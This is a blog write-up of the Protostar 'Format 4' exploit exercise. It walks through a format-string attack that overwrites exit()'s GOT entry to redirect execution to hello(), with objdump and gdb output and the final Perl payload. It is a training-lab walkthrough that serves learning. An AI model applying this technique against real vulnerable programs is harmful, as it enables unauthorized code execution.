MattAndreko.com

"hostess is a code-slaying dragon found deep within the core of the earth, unearthing magma and vulnerabilities single handedly while using the other hand to pet his cat"

Exploit Exercises - Protostar Format 4

| Comments

Next up is the last challenge in the Format String series, Format 4.

It starts out with the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
 printf("code execution redirected! you win\n");
 _exit(1);
}

void vuln()
{
 char buffer[512];

 fgets(buffer, sizeof(buffer), stdin);

 printf(buffer);

 exit(1); 
}

int main(int argc, char **argv)
{
 vuln();
}

What initially caught my eye was the fact that there was a call to “exit()” as well as “_exit()”. This made me think back to my reading, and I realized it was going to be a GOT (Global Offset Table) overwrite on “exit()”. When the program runs for the first time, the GOT is initialized to 0x00000000 for every external function, such as libc functions. The first time it runs that function, it will cache the memory address in the GOT, so that it doesn’t have to ask libc, or the corresponding library each time. If we overwrite the GOT value, we can make it execute arbitrary code instead of that original function. In this case, our victim is “exit()”.

For this exploit to work, we will need a few things:

  • Memory address of “exit()” in the GOT, which we want to overwrite
  • Memory address of “hello()”, which will be the data we overwrite the GOT with
  • Stack offset for the format string
  • The amount of characters to buffer for each byte-pair

Getting the memory address of the “exit()” method in the GOT is fairly easy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
user@protostar:/opt/protostar/bin$ objdump -R format4

format4:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit

Getting the memory address of “hello()” is quite similar:

1
2
user@protostar:/opt/protostar/bin$ objdump -t format4 | grep hello
080484b4 g     F .text  0000001e              hello

To get the stack offset of the format string, it’s quite simple. We’ve done it in prior challenges. Let’s just spam “%x”:

1
2
user@protostar:/opt/protostar/bin$ echo AAAAAAAA`perl -e 'print "%x."x15'` | ./format4
AAAAAAAA200.b7fd8420.bffff624.41414141.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.

From this, we can now see “41414141” in the 4th stack variable, so our offset is 4.

Using that offset of 4, we can now generate a format string using Direct Parameter Access, which I’ve only slightly mentioned in previous posts. I chose to dump the string to a file, because it made it really easy to use with gdb.

1
user@protostar:/opt/protostar/bin$ perl -e 'print "\x24\x97\x04\x08"."\x25\x97\x04\x08"."\x26\x97\x04\x08"."\x27\x97\x04\x08"."%4\$n"' > /home/user/format4_dpa

Next, if we run it in gdb, we can see how many characters are being written to “printf” initially, and adjust our buffering to compensate. Start up the gdb debugger, and disassemble the “vuln” function. We do this, so we can set a breakpoint right before “exit()” gets called.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
user@protostar:/opt/protostar/bin$ gdb --quiet ./format4
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) disassemble vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>:    push   %ebp
0x080484d3 <vuln+1>:    mov    %esp,%ebp
0x080484d5 <vuln+3>:    sub    $0x218,%esp
0x080484db <vuln+9>:    mov    0x8049730,%eax
0x080484e0 <vuln+14>:   mov    %eax,0x8(%esp)
0x080484e4 <vuln+18>:   movl   $0x200,0x4(%esp)
0x080484ec <vuln+26>:   lea    -0x208(%ebp),%eax
0x080484f2 <vuln+32>:   mov    %eax,(%esp)
0x080484f5 <vuln+35>:   call   0x804839c <fgets@plt>
0x080484fa <vuln+40>:   lea    -0x208(%ebp),%eax
0x08048500 <vuln+46>:   mov    %eax,(%esp)
0x08048503 <vuln+49>:   call   0x80483cc <printf@plt>
0x08048508 <vuln+54>:   movl   $0x1,(%esp)
0x0804850f <vuln+61>:   call   0x80483ec <exit@plt>
End of assembler dump.
(gdb) b *vuln+61
Breakpoint 1 at 0x804850f: file format4/format4.c, line 22.

After the breakpoint has been set, go ahead and run the program, piping in the formatstring from the file we created earlier:

1
2
3
4
5
6
(gdb) run < /home/user/format4_dpa
Starting program: /opt/protostar/bin/format4 < /home/user/format4_dpa

Breakpoint 1, 0x0804850f in vuln () at format4/format4.c:22
22      format4/format4.c: No such file or directory.
        in format4/format4.c

What we need to do, is examine the address of the GOT space for the “exit()” method, and now see what was set.

1
2
(gdb) x/1x 0x08049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x00000010

Good, so far we know:

  • GOT address to overwrite: 0x8049724
  • Value to overwrite it with: 0x080484b4
We can use this data to now calculate all of the individual buffer sizes needed to get the right number of characters output by “printf”. This little trick was learned from reading Hacking: The Art of Exploitation, 2nd Edition, which I highly recommend. Without this book, I would have been stuck on these format string levels for a lot longer than I was. I just needed a little bump, and it gave it to me.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
user@protostar:/opt/protostar/bin$ gdb -q
(gdb) p 0xb4 - 0x00000010
$1 = 164
(gdb) p 0x84 - 0xb4
$2 = -48
(gdb) p 0x184 - 0xb4
$3 = 208
(gdb) p 0x04 - 0x84
$4 = -128
(gdb) p 0x104 - 0x84
$5 = 128
(gdb) p 0x08 - 0x04
$6 = 4
(gdb) p 0x108 - 0x04
$7 = 260

To explain this, you take the address you want to overwrite with (0x080484b4 in our case) and split it up into the byte pairs in little endian order (b4, 84, 08, 08). Starting with the first one (b4), you subtract the base number we saw get written before (0x00000010), and that will give us the first buffer length of 164. For the second one, take the 2nd byte pair (84) and subtract the first byte pair (b4). In this case, we went negative, so we add a “1” in the most significant digit of the first number, making ours “184”. We then subtract again, and get 208. You do this for all 4 pairs, and you get your offsets of 164, 208, 128, 260.

Now that we have our buffer sizes, let’s construct the format string with them:

1
user@protostar:/opt/protostar/bin$ perl -e 'print "\x24\x97\x04\x08"."\x25\x97\x04\x08"."\x26\x97\x04\x08"."\x27\x97\x04\x08"."%164x%4\$n"."%208x%5\$n"."%128x%6\$n"."%260x%7\$n"' > /home/user/format4_dpa

Lastly, we run the format4 program with the format4_dpa file as the input:

1
2
3
4
5
6
7
8
9
10
11
12
13
user@protostar:/opt/protostar/bin$ ./format4 < /home/user/format4_dpa           $%&'                                                              

                                                                                                   200                                            

                                                                                                                                                  

          b7fd8420                                                                                                                        

bffff624                                                                                                                                          

                                                                                                                   8049724code execution 

redirected! you win

And that’s a win!

I learned a lot of things in this section of the Protostar challenge. I had almost no experience with format string exploitation, but now I’m feeling pretty comfortable with them. We’ll have to see about the Final 1 level.

Comments